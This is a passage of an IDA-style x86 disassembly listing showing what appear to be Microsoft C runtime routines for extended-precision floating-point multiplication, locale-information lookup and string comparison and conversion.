and cx, 7FFFh
mov word ptr [ebp+var_20], cx
mov edx, [ebp+var_18]
and edx, 0FFFFh
mov eax, [ebp+var_20]
and eax, 0FFFFh
add edx, eax
mov word ptr [ebp+var_30], dx
mov ecx, [ebp+var_18]
and ecx, 0FFFFh
cmp ecx, 7FFFh
jge short loc_43411D
mov edx, [ebp+var_20]
and edx, 0FFFFh
cmp edx, 7FFFh
jge short loc_43411D
mov eax, [ebp+var_30]
and eax, 0FFFFh
cmp eax, 0BFFDh
jle short loc_434154
loc_43411D: ; CODE XREF: sub_434060+9Bj
; sub_434060+ACj
mov ecx, [ebp+var_2C]
and ecx, 0FFFFh
neg ecx
sbb ecx, ecx
and ecx, 80000000h
add ecx, 7FFF8000h
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
jmp loc_434499
; ---------------------------------------------------------------------------
loc_434154: ; CODE XREF: sub_434060+BBj
mov edx, [ebp+var_30]
and edx, 0FFFFh
cmp edx, 3FBFh
jg short loc_434187
mov eax, [ebp+arg_0]
mov dword ptr [eax+8], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+4], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx], 0
jmp loc_434499
; ---------------------------------------------------------------------------
loc_434187: ; CODE XREF: sub_434060+103j
mov eax, [ebp+var_18]
and eax, 0FFFFh
test eax, eax
jnz short loc_4341CD
mov cx, word ptr [ebp+var_30]
add cx, 1
mov word ptr [ebp+var_30], cx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
and eax, 7FFFFFFFh
test eax, eax
jnz short loc_4341CD
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+4], 0
jnz short loc_4341CD
mov edx, [ebp+arg_0]
cmp dword ptr [edx], 0
jnz short loc_4341CD
mov eax, [ebp+arg_0]
mov word ptr [eax+0Ah], 0
jmp loc_434499
; ---------------------------------------------------------------------------
loc_4341CD: ; CODE XREF: sub_434060+131j
; sub_434060+14Cj ...
mov ecx, [ebp+var_20]
and ecx, 0FFFFh
test ecx, ecx
jnz short loc_434229
mov dx, word ptr [ebp+var_30]
add dx, 1
mov word ptr [ebp+var_30], dx
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
and ecx, 7FFFFFFFh
test ecx, ecx
jnz short loc_434229
mov edx, [ebp+arg_4]
cmp dword ptr [edx+4], 0
jnz short loc_434229
mov eax, [ebp+arg_4]
cmp dword ptr [eax], 0
jnz short loc_434229
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+8], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+4], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax], 0
jmp loc_434499
; ---------------------------------------------------------------------------
loc_434229: ; CODE XREF: sub_434060+178j
; sub_434060+194j ...
mov [ebp+var_28], 0
mov [ebp+var_1C], 0
jmp short loc_434242
; ---------------------------------------------------------------------------
loc_434239: ; CODE XREF: sub_434060+29Cj
mov ecx, [ebp+var_1C]
add ecx, 1
mov [ebp+var_1C], ecx
loc_434242: ; CODE XREF: sub_434060+1D7j
cmp [ebp+var_1C], 5
jge loc_434301
mov edx, [ebp+var_1C]
shl edx, 1
mov [ebp+var_24], edx
mov [ebp+var_8], 8
mov eax, 5
sub eax, [ebp+var_1C]
mov [ebp+var_34], eax
jmp short loc_434271
; ---------------------------------------------------------------------------
loc_434268: ; CODE XREF: sub_434060+28Ej
mov ecx, [ebp+var_34]
sub ecx, 1
mov [ebp+var_34], ecx
loc_434271: ; CODE XREF: sub_434060+206j
cmp [ebp+var_34], 0
jle short loc_4342F3
mov edx, [ebp+arg_0]
add edx, [ebp+var_24]
mov [ebp+var_38], edx
mov eax, [ebp+arg_4]
add eax, [ebp+var_8]
mov [ebp+var_3C], eax
mov ecx, [ebp+var_28]
lea edx, [ebp+ecx+var_14]
mov [ebp+var_40], edx
mov eax, [ebp+var_38]
xor ecx, ecx
mov cx, [eax]
mov edx, [ebp+var_3C]
xor eax, eax
mov ax, [edx]
imul ecx, eax
mov [ebp+var_44], ecx
mov ecx, [ebp+var_40]
push ecx
mov edx, [ebp+var_44]
push edx
mov eax, [ebp+var_40]
mov ecx, [eax]
push ecx
call sub_430FE0
add esp, 0Ch
mov [ebp+var_48], eax
cmp [ebp+var_48], 0
jz short loc_4342DC
mov edx, [ebp+var_28]
mov ax, word ptr [ebp+edx+var_10]
add ax, 1
mov ecx, [ebp+var_28]
mov word ptr [ebp+ecx+var_10], ax
loc_4342DC: ; CODE XREF: sub_434060+266j
mov edx, [ebp+var_24]
add edx, 2
mov [ebp+var_24], edx
mov eax, [ebp+var_8]
sub eax, 2
mov [ebp+var_8], eax
jmp loc_434268
; ---------------------------------------------------------------------------
loc_4342F3: ; CODE XREF: sub_434060+215j
mov ecx, [ebp+var_28]
add ecx, 2
mov [ebp+var_28], ecx
jmp loc_434239
; ---------------------------------------------------------------------------
loc_434301: ; CODE XREF: sub_434060+1E6j
mov dx, word ptr [ebp+var_30]
sub dx, 3FFEh
mov word ptr [ebp+var_30], dx
loc_43430E: ; CODE XREF: sub_434060+2DBj
movsx eax, word ptr [ebp+var_30]
test eax, eax
jle short loc_43433D
mov ecx, [ebp+var_C]
and ecx, 80000000h
test ecx, ecx
jnz short loc_43433D
lea edx, [ebp+var_14]
push edx
call sub_4310D0
add esp, 4
mov ax, word ptr [ebp+var_30]
sub ax, 1
mov word ptr [ebp+var_30], ax
jmp short loc_43430E
; ---------------------------------------------------------------------------
loc_43433D: ; CODE XREF: sub_434060+2B4j
; sub_434060+2C1j
movsx ecx, word ptr [ebp+var_30]
test ecx, ecx
jg short loc_43439D
mov dx, word ptr [ebp+var_30]
sub dx, 1
mov word ptr [ebp+var_30], dx
loc_434351: ; CODE XREF: sub_434060+32Aj
movsx eax, word ptr [ebp+var_30]
test eax, eax
jge short loc_43438C
mov ecx, [ebp+var_14]
and ecx, 0FFFFh
and ecx, 1
test ecx, ecx
jz short loc_434372
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_434372: ; CODE XREF: sub_434060+307j
lea eax, [ebp+var_14]
push eax
call sub_431130
add esp, 4
mov cx, word ptr [ebp+var_30]
add cx, 1
mov word ptr [ebp+var_30], cx
jmp short loc_434351
; ---------------------------------------------------------------------------
loc_43438C: ; CODE XREF: sub_434060+2F7j
cmp [ebp+var_4], 0
jz short loc_43439D
mov dx, word ptr [ebp+var_14]
or dl, 1
mov word ptr [ebp+var_14], dx
loc_43439D: ; CODE XREF: sub_434060+2E3j
; sub_434060+330j
mov eax, [ebp+var_14]
and eax, 0FFFFh
cmp eax, 8000h
jg short loc_4343BD
mov ecx, [ebp+var_14]
and ecx, 1FFFFh
cmp ecx, 18000h
jnz short loc_43441E
loc_4343BD: ; CODE XREF: sub_434060+34Aj
cmp [ebp+var_14+2], 0FFFFFFFFh
jnz short loc_434415
mov [ebp+var_14+2], 0
cmp [ebp+var_10+2], 0FFFFFFFFh
jnz short loc_43440A
mov [ebp+var_10+2], 0
mov edx, [ebp+var_C+2]
and edx, 0FFFFh
cmp edx, 0FFFFh
jnz short loc_4343FC
mov word ptr [ebp+var_C+2], 8000h
mov ax, word ptr [ebp+var_30]
add ax, 1
mov word ptr [ebp+var_30], ax
jmp short loc_434408
; ---------------------------------------------------------------------------
loc_4343FC: ; CODE XREF: sub_434060+386j
mov cx, word ptr [ebp+var_C+2]
add cx, 1
mov word ptr [ebp+var_C+2], cx
loc_434408: ; CODE XREF: sub_434060+39Aj
jmp short loc_434413
; ---------------------------------------------------------------------------
loc_43440A: ; CODE XREF: sub_434060+36Ej
mov edx, [ebp+var_10+2]
add edx, 1
mov [ebp+var_10+2], edx
loc_434413: ; CODE XREF: sub_434060:loc_434408j
jmp short loc_43441E
; ---------------------------------------------------------------------------
loc_434415: ; CODE XREF: sub_434060+361j
mov eax, [ebp+var_14+2]
add eax, 1
mov [ebp+var_14+2], eax
loc_43441E: ; CODE XREF: sub_434060+35Bj
; sub_434060:loc_434413j
mov ecx, [ebp+var_30]
and ecx, 0FFFFh
cmp ecx, 7FFFh
jl short loc_434463
mov edx, [ebp+var_2C]
and edx, 0FFFFh
neg edx
sbb edx, edx
and edx, 80000000h
add edx, 7FFF8000h
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+4], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx], 0
jmp short loc_434499
; ---------------------------------------------------------------------------
loc_434463: ; CODE XREF: sub_434060+3CDj
mov eax, [ebp+arg_0]
mov cx, word ptr [ebp+var_14+2]
mov [eax], cx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_10]
mov [edx+2], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+6], edx
mov eax, [ebp+var_30]
and eax, 0FFFFh
mov ecx, [ebp+var_2C]
and ecx, 0FFFFh
or eax, ecx
mov edx, [ebp+arg_0]
mov [edx+0Ah], ax
loc_434499: ; CODE XREF: sub_434060+EFj
; sub_434060+122j ...
mov esp, ebp
pop ebp
retn
sub_434060 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4344A0 proc near ; CODE XREF: sub_4312E0+914p
; sub_431E60+288p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, offset dword_4526E0
sub eax, 60h
mov [ebp+var_4], eax
cmp [ebp+arg_4], 0
jnz short loc_4344BC
jmp loc_43455F
; ---------------------------------------------------------------------------
loc_4344BC: ; CODE XREF: sub_4344A0+15j
cmp [ebp+arg_4], 0
jge short loc_4344D5
mov ecx, [ebp+arg_4]
neg ecx
mov [ebp+arg_4], ecx
mov edx, offset dword_452840
sub edx, 60h
mov [ebp+var_4], edx
loc_4344D5: ; CODE XREF: sub_4344A0+20j
cmp [ebp+arg_8], 0
jnz short loc_4344E3
mov eax, [ebp+arg_0]
mov word ptr [eax], 0
loc_4344E3: ; CODE XREF: sub_4344A0+39j
; sub_4344A0+6Aj ...
cmp [ebp+arg_4], 0
jz short loc_43455F
mov ecx, [ebp+var_4]
add ecx, 54h
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
and edx, 7
mov [ebp+var_18], edx
mov eax, [ebp+arg_4]
sar eax, 3
mov [ebp+arg_4], eax
cmp [ebp+var_18], 0
jnz short loc_43450C
jmp short loc_4344E3
; ---------------------------------------------------------------------------
loc_43450C: ; CODE XREF: sub_4344A0+68j
mov ecx, [ebp+var_18]
imul ecx, 0Ch
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
xor ecx, ecx
mov cx, [eax]
cmp ecx, 8000h
jl short loc_43454D
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ebp+var_14], eax
mov ecx, [edx+4]
mov [ebp+var_10], ecx
mov edx, [edx+8]
mov [ebp+var_C], edx
mov eax, [ebp+var_14+2]
sub eax, 1
mov [ebp+var_14+2], eax
lea ecx, [ebp+var_14]
mov [ebp+var_8], ecx
loc_43454D: ; CODE XREF: sub_4344A0+88j
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_434060
add esp, 8
jmp short loc_4344E3
; ---------------------------------------------------------------------------
loc_43455F: ; CODE XREF: sub_4344A0+17j
; sub_4344A0+47j
mov esp, ebp
pop ebp
retn
sub_4344A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434570 proc near ; CODE XREF: sub_4323B0+9Bp
; sub_4350F0+2Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_8], 0
jnz short loc_43457E
xor eax, eax
jmp short loc_4345BB
; ---------------------------------------------------------------------------
loc_43457E: ; CODE XREF: sub_434570+8j
mov eax, dword_4EFD4C
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
push 1
mov edx, dword_4EFF64
push edx
call sub_4349C0
add esp, 1Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4345B5
mov eax, 7FFFFFFFh
jmp short loc_4345BB
; ---------------------------------------------------------------------------
loc_4345B5: ; CODE XREF: sub_434570+3Cj
mov eax, [ebp+var_4]
sub eax, 2
loc_4345BB: ; CODE XREF: sub_434570+Cj
; sub_434570+43j
mov esp, ebp
pop ebp
retn
sub_434570 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4345C0 proc near ; CODE XREF: sub_4323B0+2Dp
; sub_434E10+81p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, dword_4EF8A0
mov [ebp+var_4], eax
loc_4345CE: ; CODE XREF: sub_4345C0+A3j
mov ecx, [ebp+var_4]
cmp dword ptr [ecx], 0
jz loc_434668
push 0
push 0
push 0
push 0
push 0FFFFFFFFh
mov edx, [ebp+var_4]
mov eax, [edx]
push eax
push 0
push 1
call dword_4F141C ; WideCharToMultiByte
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_434602
or eax, 0FFFFFFFFh
jmp short loc_43466A
; ---------------------------------------------------------------------------
loc_434602: ; CODE XREF: sub_4345C0+3Bj
push 3Dh
push offset dword_438F08
push 2
mov ecx, [ebp+var_C]
push ecx
call sub_418EF0
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_434625
or eax, 0FFFFFFFFh
jmp short loc_43466A
; ---------------------------------------------------------------------------
loc_434625: ; CODE XREF: sub_4345C0+5Ej
push 0
push 0
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_8]
push eax
push 0FFFFFFFFh
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx
push 0
push 1
call dword_4F141C ; WideCharToMultiByte
test eax, eax
jnz short loc_43464C
or eax, 0FFFFFFFFh
jmp short loc_43466A
; ---------------------------------------------------------------------------
loc_43464C: ; CODE XREF: sub_4345C0+85j
push 0
mov eax, [ebp+var_8]
push eax
call sub_434E10
add esp, 8
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
jmp loc_4345CE
; ---------------------------------------------------------------------------
loc_434668: ; CODE XREF: sub_4345C0+14j
xor eax, eax
loc_43466A: ; CODE XREF: sub_4345C0+40j
; sub_4345C0+63j ...
mov esp, ebp
pop ebp
retn
sub_4345C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434670 proc near ; CODE XREF: sub_4338F0+19Cp
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_438F18
push offset sub_42A9E4
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4EFC0C, 0
jnz short loc_4346E2
push 0
push 0
push 1
push 0
call dword_4F12CC ; GetLocaleInfoW
test eax, eax
jz short loc_4346BD
mov dword_4EFC0C, 1
jmp short loc_4346E2
; ---------------------------------------------------------------------------
loc_4346BD: ; CODE XREF: sub_434670+3Fj
push 0
push 0
push 1
push 0
call dword_4F1380 ; GetLocaleInfoA
test eax, eax
jz short loc_4346DB
mov dword_4EFC0C, 2
jmp short loc_4346E2
; ---------------------------------------------------------------------------
loc_4346DB: ; CODE XREF: sub_434670+5Dj
xor eax, eax
jmp loc_4347F1
; ---------------------------------------------------------------------------
loc_4346E2: ; CODE XREF: sub_434670+2Dj
; sub_434670+4Bj ...
cmp dword_4EFC0C, 1
jnz short loc_434706
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4F12CC ; GetLocaleInfoW
jmp loc_4347F1
; ---------------------------------------------------------------------------
loc_434706: ; CODE XREF: sub_434670+79j
cmp dword_4EFC0C, 2
jnz loc_4347EF
cmp [ebp+arg_10], 0
jnz short loc_434722
mov ecx, dword_4EF984
mov [ebp+arg_10], ecx
loc_434722: ; CODE XREF: sub_434670+A7j
push 0
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4F1380 ; GetLocaleInfoA
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_434744
xor eax, eax
jmp loc_4347F1
; ---------------------------------------------------------------------------
loc_434744: ; CODE XREF: sub_434670+CBj
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
add eax, 3
and al, 0FCh
call sub_41BC60
mov [ebp+var_28], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_28]
mov [ebp+var_20], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_434784
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_20], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_434784: ; CODE XREF: sub_434670+FBj
cmp [ebp+var_20], 0
jnz short loc_43478E
xor eax, eax
jmp short loc_4347F1
; ---------------------------------------------------------------------------
loc_43478E: ; CODE XREF: sub_434670+118j
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_4F1380 ; GetLocaleInfoA
test eax, eax
jnz short loc_4347AC
xor eax, eax
jmp short loc_4347F1
; ---------------------------------------------------------------------------
loc_4347AC: ; CODE XREF: sub_434670+136j
cmp [ebp+arg_C], 0
jnz short loc_4347CD
push 0
push 0
push 0FFFFFFFFh
mov eax, [ebp+var_20]
push eax
push 1
mov ecx, [ebp+arg_10]
push ecx
call dword_4F1420 ; MultiByteToWideChar
mov [ebp+var_24], eax
jmp short loc_4347EA
; ---------------------------------------------------------------------------
loc_4347CD: ; CODE XREF: sub_434670+140j
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 0FFFFFFFFh
mov ecx, [ebp+var_20]
push ecx
push 1
mov edx, [ebp+arg_10]
push edx
call dword_4F1420 ; MultiByteToWideChar
mov [ebp+var_24], eax
loc_4347EA: ; CODE XREF: sub_434670+15Bj
mov eax, [ebp+var_24]
jmp short loc_4347F1
; ---------------------------------------------------------------------------
loc_4347EF: ; CODE XREF: sub_434670+9Dj
xor eax, eax
loc_4347F1: ; CODE XREF: sub_434670+6Dj
; sub_434670+91j ...
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_434670 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434810 proc near ; CODE XREF: sub_4338F0+4Bp
; sub_4338F0+7Ep ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_438F28
push offset sub_42A9E4
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4EFC10, 0
jnz short loc_434882
push 0
push 0
push 1
push 0
call dword_4F12CC ; GetLocaleInfoW
test eax, eax
jz short loc_43485D
mov dword_4EFC10, 1
jmp short loc_434882
; ---------------------------------------------------------------------------
loc_43485D: ; CODE XREF: sub_434810+3Fj
push 0
push 0
push 1
push 0
call dword_4F1380 ; GetLocaleInfoA
test eax, eax
jz short loc_43487B
mov dword_4EFC10, 2
jmp short loc_434882
; ---------------------------------------------------------------------------
loc_43487B: ; CODE XREF: sub_434810+5Dj
xor eax, eax
jmp loc_4349A1
; ---------------------------------------------------------------------------
loc_434882: ; CODE XREF: sub_434810+2Dj
; sub_434810+4Bj ...
cmp dword_4EFC10, 2
jnz short loc_4348A6
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4F1380 ; GetLocaleInfoA
jmp loc_4349A1
; ---------------------------------------------------------------------------
loc_4348A6: ; CODE XREF: sub_434810+79j
cmp dword_4EFC10, 1
jnz loc_43499F
cmp [ebp+arg_10], 0
jnz short loc_4348C2
mov ecx, dword_4EF984
mov [ebp+arg_10], ecx
loc_4348C2: ; CODE XREF: sub_434810+A7j
push 0
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4F12CC ; GetLocaleInfoW
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_4348E4
xor eax, eax
jmp loc_4349A1
; ---------------------------------------------------------------------------
loc_4348E4: ; CODE XREF: sub_434810+CBj
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_41BC60
mov [ebp+var_28], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_28]
mov [ebp+var_20], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_434926
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_20], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_434926: ; CODE XREF: sub_434810+FDj
cmp [ebp+var_20], 0
jnz short loc_434930
xor eax, eax
jmp short loc_4349A1
; ---------------------------------------------------------------------------
loc_434930: ; CODE XREF: sub_434810+11Aj
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_4F12CC ; GetLocaleInfoW
test eax, eax
jnz short loc_43494E
xor eax, eax
jmp short loc_4349A1
; ---------------------------------------------------------------------------
loc_43494E: ; CODE XREF: sub_434810+138j
cmp [ebp+arg_C], 0
jnz short loc_434976
push 0
push 0
push 0
push 0
push 0FFFFFFFFh
mov eax, [ebp+var_20]
push eax
push 220h
mov ecx, [ebp+arg_10]
push ecx
call dword_4F141C ; WideCharToMultiByte
mov [ebp+var_24], eax
jmp short loc_43499A
; ---------------------------------------------------------------------------
loc_434976: ; CODE XREF: sub_434810+142j
push 0
push 0
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 0FFFFFFFFh
mov ecx, [ebp+var_20]
push ecx
push 220h
mov edx, [ebp+arg_10]
push edx
call dword_4F141C ; WideCharToMultiByte
mov [ebp+var_24], eax
loc_43499A: ; CODE XREF: sub_434810+164j
mov eax, [ebp+var_24]
jmp short loc_4349A1
; ---------------------------------------------------------------------------
loc_43499F: ; CODE XREF: sub_434810+9Dj
xor eax, eax
loc_4349A1: ; CODE XREF: sub_434810+6Dj
; sub_434810+91j ...
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_434810 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4349C0 proc near ; CODE XREF: sub_434570+2Dp
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_438F80
push offset sub_42A9E4
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFC8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4EFC14, 0
jnz short loc_434A46
push 1
push offset dword_4382B8
push 1
push offset dword_4382B8
push 0
push 0
call dword_4F12C4 ; CompareStringW
test eax, eax
jz short loc_434A17
mov dword_4EFC14, 1
jmp short loc_434A46
; ---------------------------------------------------------------------------
loc_434A17: ; CODE XREF: sub_4349C0+49j
push 1
push offset dword_4382B4
push 1
push offset dword_4382B4
push 0
push 0
call dword_4F12C8 ; CompareStringA
test eax, eax
jz short loc_434A3F
mov dword_4EFC14, 2
jmp short loc_434A46
; ---------------------------------------------------------------------------
loc_434A3F: ; CODE XREF: sub_4349C0+71j
xor eax, eax
jmp loc_434DA4
; ---------------------------------------------------------------------------
loc_434A46: ; CODE XREF: sub_4349C0+2Dj
; sub_4349C0+55j ...
cmp [ebp+arg_C], 0
jle short loc_434A5F
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
call sub_434DC0
add esp, 8
mov [ebp+arg_C], eax
loc_434A5F: ; CODE XREF: sub_4349C0+8Aj
cmp [ebp+arg_14], 0
jle short loc_434A78
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+arg_10]
push eax
call sub_434DC0
add esp, 8
mov [ebp+arg_14], eax
loc_434A78: ; CODE XREF: sub_4349C0+A3j
cmp dword_4EFC14, 2
jnz short loc_434AA4
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4F12C8 ; CompareStringA
jmp loc_434DA4
; ---------------------------------------------------------------------------
loc_434AA4: ; CODE XREF: sub_4349C0+BFj
cmp dword_4EFC14, 1
jnz loc_434DA2
cmp [ebp+arg_18], 0
jnz short loc_434AC0
mov ecx, dword_4EF984
mov [ebp+arg_18], ecx
loc_434AC0: ; CODE XREF: sub_4349C0+F5j
cmp [ebp+arg_C], 0
jz short loc_434AD0
cmp [ebp+arg_14], 0
jnz loc_434C4C
loc_434AD0: ; CODE XREF: sub_4349C0+104j
mov edx, [ebp+arg_C]
cmp edx, [ebp+arg_14]
jnz short loc_434AE2
mov eax, 2
jmp loc_434DA4
; ---------------------------------------------------------------------------
loc_434AE2: ; CODE XREF: sub_4349C0+116j
cmp [ebp+arg_14], 1
jle short loc_434AF2
mov eax, 1
jmp loc_434DA4
; ---------------------------------------------------------------------------
loc_434AF2: ; CODE XREF: sub_4349C0+126j
cmp [ebp+arg_C], 1
jle short loc_434B02
mov eax, 3
jmp loc_434DA4
; ---------------------------------------------------------------------------
loc_434B02: ; CODE XREF: sub_4349C0+136j
lea eax, [ebp+var_3C]
push eax
mov ecx, [ebp+arg_18]
push ecx
call dword_4F14B0 ; GetCPInfo
test eax, eax
jnz short loc_434B1B
xor eax, eax
jmp loc_434DA4
; ---------------------------------------------------------------------------
loc_434B1B: ; CODE XREF: sub_4349C0+152j
; sub_4349C0+198j
cmp [ebp+arg_C], 0
jnz short loc_434B27
cmp [ebp+arg_14], 1
jz short loc_434B54
loc_434B27: ; CODE XREF: sub_4349C0+15Fj
cmp [ebp+arg_C], 1
jnz short loc_434B33
cmp [ebp+arg_14], 0
jz short loc_434B54
loc_434B33: ; CODE XREF: sub_4349C0+16Bj
push offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"...
push 0
push 0B6h
push offset dword_438F34
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_434B54
int 3 ; Trap to Debugger
loc_434B54: ; CODE XREF: sub_4349C0+165j
; sub_4349C0+171j ...
xor edx, edx
test edx, edx
jnz short loc_434B1B
cmp [ebp+arg_C], 0
jle short loc_434BD3
cmp [ebp+var_3C], 2
jnb short loc_434B70
mov eax, 3
jmp loc_434DA4
; ---------------------------------------------------------------------------
loc_434B70: ; CODE XREF: sub_4349C0+1A4j
lea eax, [ebp+var_36]
mov [ebp+var_40], eax
jmp short loc_434B81
; ---------------------------------------------------------------------------
loc_434B78: ; CODE XREF: sub_4349C0:loc_434BC7j
mov ecx, [ebp+var_40]
add ecx, 2
mov [ebp+var_40], ecx
loc_434B81: ; CODE XREF: sub_4349C0+1B6j
mov edx, [ebp+var_40]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_434BC9
mov ecx, [ebp+var_40]
xor edx, edx
mov dl, [ecx+1]
test edx, edx
jz short loc_434BC9
mov eax, [ebp+arg_8]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+var_40]
xor eax, eax
mov al, [edx]
cmp ecx, eax
jl short loc_434BC7
mov ecx, [ebp+arg_8]
xor edx, edx
mov dl, [ecx]
